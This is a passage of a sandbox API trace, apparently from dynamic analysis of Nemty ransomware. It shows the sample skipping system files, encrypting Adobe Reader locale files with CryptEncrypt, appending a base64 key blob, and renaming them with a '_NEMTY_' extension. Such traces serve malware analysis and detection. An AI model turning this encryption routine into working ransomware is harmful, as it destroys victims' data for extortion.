0x6345e38 [0174.531] GetLastError () returned 0x0 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.531] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0174.531] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="KUXreeE1v1hZpvDzxVYJ/WRh7q/C0slKaN4cJiDlcAZraYDBuBFNm2JtnhLagyTW\r\ns7ODRwd7IogQSSJSOfZ0iw2auO0aiSOZvGCdWIkxjjyUWN6IsqqHegzYAPNBKETl\r\niCll85ToRNtsIXaxwGZZ+1iSVQ46BWSSHyhtEoPuOsXAERSo90ORoiIwz07glFea\r\nbz2uDXjtIbXkYnICmxNXbo2aLwkLsdkHixACDTfejttoM+PknHEp3jrkpzKJEAG3\r\nsWWLKKtGIX5NKxh5vMSlTWqCWi3EJw1wMUKFOcu5EEfnV+IMkoBcEhmHxlctGfmX\r\nthy0HSjdWXvmpqvadY43tg==\r\n", pcchString=0x653e5dc) returned 1 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\adobecollabsync.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.532] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0174.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0174.532] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.532] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0174.534] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.534] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0174.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.534] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0174.534] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.534] CloseHandle (hObject=0x2e8) returned 1 [0174.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0174.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0174.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0174.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0174.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0174.535] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\adobecollabsync.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\adobecollabsync.dan._nemty_kgobjgd_")) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.535] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.DAN", cAlternateFileName="")) returned 1 [0174.535] lstrcmpiW (lpString1="Annots.DAN", lpString2=".") returned 1 [0174.535] lstrcmpiW (lpString1="Annots.DAN", lpString2="..") returned 1 [0174.535] lstrcmpiW (lpString1="Annots.DAN", lpString2="...") returned 1 [0174.535] lstrcmpiW (lpString1="Annots.DAN", lpString2="windows") returned -1 [0174.535] lstrcmpiW (lpString1="Annots.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.535] lstrcmpiW (lpString1="Annots.DAN", lpString2="rsa") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="NTDETECT.COM") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="ntldr") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="MSDOS.SYS") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="IO.SYS") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="boot.ini") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="boot.ini") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="AUTOEXEC.BAT") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="ntuser.dat") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="desktop.ini") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="CONFIG.SYS") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="RECYCLER") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="BOOTSECT.BAK") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="bootmgr") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="programdata") returned -1 [0174.536] lstrcmpiW (lpString1="Annots.DAN", lpString2="appdata") returned -1 [0174.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.537] Sleep (dwMilliseconds=0x5) [0174.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1baf3d90, dwHighDateTime=0x1d561e8)) [0174.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1baf3d90, dwHighDateTime=0x1d561e8)) [0174.546] GetLastError () returned 0x0 [0174.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.546] GetLastError () returned 0x0 [0174.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.547] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.547] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.547] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.547] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="3f6WXOvZtwTlY4jAP6AON2EHCvcp1vm6VRgzN+0TAko9Ykj02uwDIg2jIYqPPPg/\r\niXaw58A8cWS83bOGE7lesE7xP+Fld2ZGd+PuS/vLdXVO9wSn3xfpvEX14IYfavI4\r\nN6xFEFet20voNMNEdcolFw9Namx64m75PX3Lo4E5n55F7SA9ui2H6H1J9gL89ack\r\nenyp+OKbNO8Mip3OGH19wspe3oTx01JKCiKRD2GiV5Vw914fKb8Ncr1t/+r4bIEW\r\nWw+3bkO19+/2Kao8TONB8Baw6IsD4QRPRJXVeubP157JUXALexA3eIgpbUXGNptj\r\nFkH82zpNYpJ39pZFzAfJQg==\r\n", pcchString=0x653e5dc) returned 1 [0174.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\annots.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.548] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=484352) returned 1 [0174.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.548] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.548] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.557] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.557] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.557] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=484352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x76400 [0174.557] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.559] CloseHandle (hObject=0x2e8) returned 1 [0174.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.559] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\annots.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\annots.dan._nemty_kgobjgd_")) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.561] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.DAN", cAlternateFileName="BRDLAN~1.DAN")) returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2=".") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="..") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="...") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="windows") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="rsa") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="NTDETECT.COM") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="ntldr") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="MSDOS.SYS") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="IO.SYS") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="boot.ini") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="boot.ini") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="ntuser.dat") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="desktop.ini") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="CONFIG.SYS") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="RECYCLER") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="bootmgr") returned 1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="programdata") returned -1 [0174.561] lstrcmpiW (lpString1="BRdlang32.DAN", lpString2="appdata") returned 1 [0174.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.562] WideCharToMultiByte (in: 